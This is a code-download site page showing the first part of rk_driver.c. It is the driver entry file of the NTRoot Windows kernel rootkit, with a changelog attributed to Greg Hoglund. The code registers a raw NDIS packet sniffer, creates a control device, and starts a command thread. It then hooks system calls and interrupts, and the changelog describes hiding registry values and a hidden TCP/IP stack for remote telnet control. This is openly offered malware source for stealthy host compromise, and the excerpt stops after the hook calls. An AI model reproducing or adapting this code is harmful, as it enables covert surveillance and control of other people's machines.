⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 rk_driver.c

📁 能够在windows 2000以上操作系统下隐藏特定的进程
💻 C
📖 第 1 页 / 共 2 页
字号:

/**********************************************************************************
 * NTRoot
 * Version 0.1a
 * Greg Hoglund
 *
 * June 1, 1999      - Greg Hoglund - fixed a bunch of cruft
 * June 3, 1999      - Greg Hoglund - will still BSOD if you attempt to UNLOAD the
 *                               driver.. leaving this issue for now, just don't 
 *                               unload, I think it's related to NDIS, but not sure.
 *                               ** adding PsCreateSystemProcess() call
 * July 29, 1999     - Greg Hoglund
 *				     - OnUnload crashes on NdisDeregisterProtocol. - still not fixed
 *			         - added ethernet header to returned buffer, so
 *		             - RogueX client can read entire raw packets now.
 *				     - cleaned up code & split into several source files
 *
 * October 10, 1999  - Greg Hoglund
 *				     - adding system service table code ;-)
 * October 26, 1999  - Greg Hoglund
 *                   - added interrupt descriptor table patch //kickin'//
 * November 22, 1999 - modify ReadRegistry() to enum first network key (what a bitch)
 * November 23, 1999 - adding exception handling for easier debugging - I'm tired
 *                   - of BSOD'n my machines.
 *                   - added NDIS event to wait for OnUnload(). (needs testing)
 *					 - current build is locking up win2K boxes - works on NT4.0 (?)
 * December 9, 1999  - Greg Hoglund
 *                   - added numerous call hooks - is now hiding registry values
 *                   - builds/runs on both NT40 & WIN2K, Unload() works flawlessly
 * 
 * Feb 2, 2001       - OK, it has been a LONG time since I worked on this...
 *                     I added a haxored TCP/IP stack so you can telnet to the
 *                     rootkit and made a command-parser.  I added a few commands
 *                     to get started, including 'ps' to list the processes on the
 *                     host.  I added a worker-thread to handle command processing.
 *                     -Greg
 ***********************************************************************************/

#include "rk_driver.h"
#include "rk_packet.h"
#include "rk_defense.h"
#include "rk_command.h"
#include "rk_keyboard.h"
#include "rk_utility.h"
								 
/* ________________________________________________________________________________ 
 . Our driver objects
 . ________________________________________________________________________________ */
PDRIVER_OBJECT	gDriverObjectP;

KSPIN_LOCK		GlobalArraySpinLock;
KSPIN_LOCK		WorkItemSpinLock;
KIRQL			gIrqL;
POPEN_INSTANCE	gOpenInstance = NULL;  /* this is what we will use for notify packets */

char g_command_signal[256];
KEVENT command_signal_event;
KEVENT exec_signal_event;
VOID rootkit_command_thread(PVOID context);
BOOL g_kill_thread = FALSE;
HANDLE gWorkerThread;

// used for network sniffing
PDEVICE_OBJECT 	g_NdisDeviceObject = NULL;

// ----------------------------------------------------------------------
PDEVICE_OBJECT gKbdHookDevice = NULL; //this is a test
//
// The top of the stack before this filter was added.  AKA the location
// to which all IRPS should be directed.
//
PDEVICE_OBJECT  gKbdTopOfStack = NULL;

/////////////////////////////////////////////////////////////////////////////
// we must never unload if there are pending IRP's in our filter queue -
// so this will track how many we have outstanding...
/////////////////////////////////////////////////////////////////////////////
ULONG g_number_of_pending_IRPs = 0;

/* ________________________________________________________________________________
 . NT Rootkit DRIVER ENTRY
 . Setup the NDIS sniffer as well as hook the system service table and interrupts
 . ________________________________________________________________________________ */
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
	/* Network Sniffer related structs */
	NDIS_PROTOCOL_CHARACTERISTICS	aProtocolChar;
	UNICODE_STRING 			aMacDriverName;
	UNICODE_STRING 			aUnicodeDeviceName;
	
	NDIS_HANDLE    	aNdisProtocolHandle;
	NDIS_STRING	aProtoName = NDIS_STRING_CONST("NTRoot");
	
	NDIS_STATUS    	aErrorStatus;
	NDIS_MEDIUM    	aMediumArray=NdisMedium802_3;
	
	UNICODE_STRING  aDriverName;			// DD
	PWSTR			aBindString;			// DD 
	PWSTR          	aExportString;			// DD
	PWSTR          	aBindStringSave;		// DD
	PWSTR          	aExportStringSave;		// DD

	/* our device so we can communicate with user mode */
	PDEVICE_EXTENSION 	aDeviceExtension = NULL;
	WCHAR               aDeviceLinkBuffer[]  = L"\\DosDevices\\Ntroot"; /* the \??\ dir (for users) */
	UNICODE_STRING      aDeviceLinkUnicodeString;
	ULONG				aDevicesCreated = 0;


	NTSTATUS       aStatus = STATUS_SUCCESS;
	POPEN_INSTANCE anOpenP = NULL;
	int i;

	KIRQL aIrqL;
	
	
	DbgPrint("ROOTKIT: DriverEntry called\n");

	InitDefenseSystem();
	SetupCallNumbers();
	GetProcessNameOffset();

	__try
	{
		KeInitializeSpinLock(&GlobalArraySpinLock); /* free me */
		KeInitializeSpinLock(&WorkItemSpinLock); /* free me */

		KeInitializeEvent(&command_signal_event, NotificationEvent, 0);
		KeInitializeEvent(&exec_signal_event, NotificationEvent, 0);

		//Create Queue for work items that need to run in passive level, 
		// and MUST run under some process context (NOT system).
		//
		// The perfect place to work with this queue , will be while intercepting 
		// a system call, because it allways passive, and good chance to be not system process.
		//
		// So in each (?) system call interception (wich happens A LOT) we will check this queue
		// and execute one work item before continue processing the system call.
		InitializeListHead(&ProcessContextWorkQueueHead);
		
		/*
		 * init network sniffer - this is all standard and
		 * documented in the DDK.
		 */
		RtlZeroMemory( &aProtocolChar,
			   sizeof(NDIS_PROTOCOL_CHARACTERISTICS));
		aProtocolChar.MajorNdisVersion            = 3;
		aProtocolChar.MinorNdisVersion            = 0;
		aProtocolChar.Reserved                    = 0;
		aProtocolChar.OpenAdapterCompleteHandler  = OnOpenAdapterDone;
		aProtocolChar.CloseAdapterCompleteHandler = OnCloseAdapterDone;
		aProtocolChar.SendCompleteHandler         = OnSendDone;
		aProtocolChar.TransferDataCompleteHandler = OnTransferDataDone;
		aProtocolChar.ResetCompleteHandler        = OnResetDone;
		aProtocolChar.RequestCompleteHandler      = OnRequestDone;
		aProtocolChar.ReceiveHandler              = OnReceiveStub;
		aProtocolChar.ReceiveCompleteHandler      = OnReceiveDoneStub;
		aProtocolChar.StatusHandler               = OnStatus;
		aProtocolChar.StatusCompleteHandler       = OnStatusDone;
		aProtocolChar.Name                        = aProtoName;

		DbgPrint("ROOTKIT: Registering NDIS Protocol\n");

		NdisRegisterProtocol( &aStatus,
        			  &aNdisProtocolHandle,
        			  &aProtocolChar,
        			  sizeof(NDIS_PROTOCOL_CHARACTERISTICS));

		if (aStatus != NDIS_STATUS_SUCCESS) {
			DbgPrint(("DriverEntry: ERROR NdisRegisterProtocol failed\n"));
			return aStatus;
		}

		
		
		for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) 
		{
        	theDriverObject->MajorFunction[i] = OnStubDispatch;
    	}
		/* ___[ we NEED to register the Unload() function ]___ 
		 . this is how we are able to dynamically unload the
		 . driver 
		 . ___________________________________________________ */ 
		theDriverObject->DriverUnload  = OnUnload; 

		aDriverName.Length = 0;
		aDriverName.Buffer = ExAllocatePool( PagedPool, MAX_PATH_LENGTH ); /* free me */
		aDriverName.MaximumLength = MAX_PATH_LENGTH;
		RtlZeroMemory(aDriverName.Buffer, MAX_PATH_LENGTH);

		/* _______________________________________________________________
		 * get the name of the MAC layer driver 
		 * and the name of the packet driver
		 * HKLM/SYSTEM/CurrentControlSet/Services/TcpIp/Linkage ..
		 * _______________________________________________________________ */
		if (ReadRegistry( &aDriverName ) != STATUS_SUCCESS) {
			goto RegistryError;
		}

		aBindString = aDriverName.Buffer;

		aExportString = ExAllocatePool(PagedPool, MAX_PATH_LENGTH); /* free me */
		RtlZeroMemory(aExportString, MAX_PATH_LENGTH);
		wcscat(aExportString, L"\\Device\\Ntroot"); // visible to user mode

		aBindStringSave   = aBindString;
		aExportStringSave = aExportString;

		while (*aBindString != UNICODE_NULL && *aExportString != UNICODE_NULL) 
		{
			/* for each entry */
			RtlInitUnicodeString( &aMacDriverName, aBindString ); // the /device/ne20001 or whatever..
			RtlInitUnicodeString( &aUnicodeDeviceName, aExportString );
        
			/* MULTI_SZ */
			aBindString   += (aMacDriverName.Length+sizeof(UNICODE_NULL))/sizeof(WCHAR);
			aExportString += (aUnicodeDeviceName.Length+sizeof(UNICODE_NULL))/sizeof(WCHAR);
        
			/* create a device object for this driver */
			aStatus = IoCreateDevice( theDriverObject,
                    				  sizeof(DEVICE_EXTENSION),
                    				  &aUnicodeDeviceName, // usermode export
                    				  FILE_DEVICE_PROTOCOL,
                    				  0,
                    				  FALSE,
                    				  &g_NdisDeviceObject );

			if (aStatus != STATUS_SUCCESS) {
				break;
			}

			/* create a symbolic link for first one*/	
			if(0 == aDevicesCreated){
				//
				// Create a symbolic link that the GUI can specify to gain access
				// to this driver/device
				//
				RtlInitUnicodeString (&aDeviceLinkUnicodeString,
									  aDeviceLinkBuffer );
				aStatus = IoCreateSymbolicLink ( &aDeviceLinkUnicodeString,
												 &aUnicodeDeviceName );
				if (!NT_SUCCESS(aStatus)) {
					DbgPrint (("NTROOT: IoCreateSymbolicLink failed\n"));        
				}
			}
			aDevicesCreated++;
			g_NdisDeviceObject->Flags |= DO_DIRECT_IO;
			aDeviceExtension  =  (PDEVICE_EXTENSION) g_NdisDeviceObject->DeviceExtension;
			aDeviceExtension->DeviceObject = g_NdisDeviceObject;
        
			/* save in extension */
			aDeviceExtension->AdapterName = aMacDriverName;
			if (aDevicesCreated == 1) {
				aDeviceExtension->BindString   = aBindStringSave;
				aDeviceExtension->ExportString = aExportStringSave;
			}
			aDeviceExtension->NdisProtocolHandle = aNdisProtocolHandle;
		}

		//////////////////////////////////////////////////////////////////
		// get our worker thread up and running
		//////////////////////////////////////////////////////////////////
		{
			DbgPrint("thread: creating thread\n");
			PsCreateSystemThread( 	&gWorkerThread,
									(ACCESS_MASK) 0L,
									NULL,
									(HANDLE) 0L,
									NULL,
									rootkit_command_thread,
									NULL);
		}
									
									 

		if (aDevicesCreated > 0)
		{
			//  allocate some memory for the open structure
			anOpenP=ExAllocatePool(NonPagedPool,sizeof(OPEN_INSTANCE)); /* free me */
			if (anOpenP==NULL) {
				// no memory
				// NO IRP -- Irp->IoStatus.Status = STATUS_INSUFFICIENT_RESOURCES;
				return STATUS_INSUFFICIENT_RESOURCES;
			}
			RtlZeroMemory(
				anOpenP,
				sizeof(OPEN_INSTANCE)
				);
			/* we will use the first opened instance to send notify packets */
			gOpenInstance = anOpenP;
			anOpenP->DeviceExtension=aDeviceExtension;

			// init the send buffers we will be using
			NdisAllocatePacketPool(
				&aStatus,
				&anOpenP->mPacketPoolH,
				TRANSMIT_PACKETS,
				sizeof(PACKET_RESERVED));
			if (aStatus != NDIS_STATUS_SUCCESS) {
				ExFreePool(anOpenP);
				// FIXME cleanup
				return STATUS_INSUFFICIENT_RESOURCES;
			}
			/* this is a null function under NT */
			NdisAllocateBufferPool(
				&aStatus,
				&anOpenP->mBufferPoolH,
				TRANSMIT_PACKETS );
			if (aStatus != NDIS_STATUS_SUCCESS) {
				ExFreePool(anOpenP);
				// FIXME
				return STATUS_INSUFFICIENT_RESOURCES;
			}

			/* go ahead and get that NDIS sniffer up */
			//////////////////////////////////////////
			// note: if we don't plan on attaching
			// to the sniffer device from user mode
			// we don't actually need the device
			// at all, perhaps we can forgo the
			// device completely for stealth reasons
			// -greg
			//////////////////////////////////////////
			NdisOpenAdapter(
				&aStatus,
				&aErrorStatus,
				&anOpenP->AdapterHandle,
				&aDeviceExtension->Medium,
				&aMediumArray,
				1,
				aDeviceExtension->NdisProtocolHandle,
				anOpenP,
				&aDeviceExtension->AdapterName,
				0,
				NULL);
			if (aStatus != NDIS_STATUS_PENDING) {
				OnOpenAdapterDone(
					anOpenP,
					aStatus,
					NDIS_STATUS_SUCCESS
					);
				if(NT_SUCCESS(aStatus)){
					DbgPrint(("NdisOpenAdapter returned STATUS_SUCCESS\n"));
					return aStatus;
				}
				else switch(aStatus){
					case STATUS_SUCCESS:
						DbgPrint(("NdisOpenAdapter returned STATUS_SUCCESS\n"));
						break;
					case NDIS_STATUS_PENDING:
						DbgPrint(("NdisOpenAdapter returned NDIS_STATUS_PENDING\n"));
						break;
					case NDIS_STATUS_RESOURCES:
						DbgPrint(("NdisOpenAdapter returned NDIS_STATUS_RESOURCES\n"));
						break;
					case NDIS_STATUS_ADAPTER_NOT_FOUND:
						DbgPrint(("NdisOpenAdapter returned NDIS_STATUS_ADAPTER_NOT_FOUND\n"));
						break;
					case NDIS_STATUS_UNSUPPORTED_MEDIA:
						DbgPrint(("NdisOpenAdapter returned NDIS_STATUS_UNSUPPORTED_MEDIA\n"));
						break;
					case NDIS_STATUS_CLOSING:
						DbgPrint(("NdisOpenAdapter returned NDIS_STATUS_CLOSING\n"));
						break;
					case NDIS_STATUS_OPEN_FAILED:
						DbgPrint(("NdisOpenAdapter returned NDIS_STATUS_OPEN_FAILED\n"));
						break;
				}
			}
		}

	
		/* _______________________________________________________ 
		 . we are now online and sniffing packets
		 . _______________________________________________________ */


		/* _______________________________________________________
		 . Hook our system calls and interrupts now
		 . _______________________________________________________ */
		DbgPrint("rootkit: about to hook systemcalls\n");
		HookSyscalls();
		
		DbgPrint("rootkit: about to hook interrupts\n");
		HookInterrupts();

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -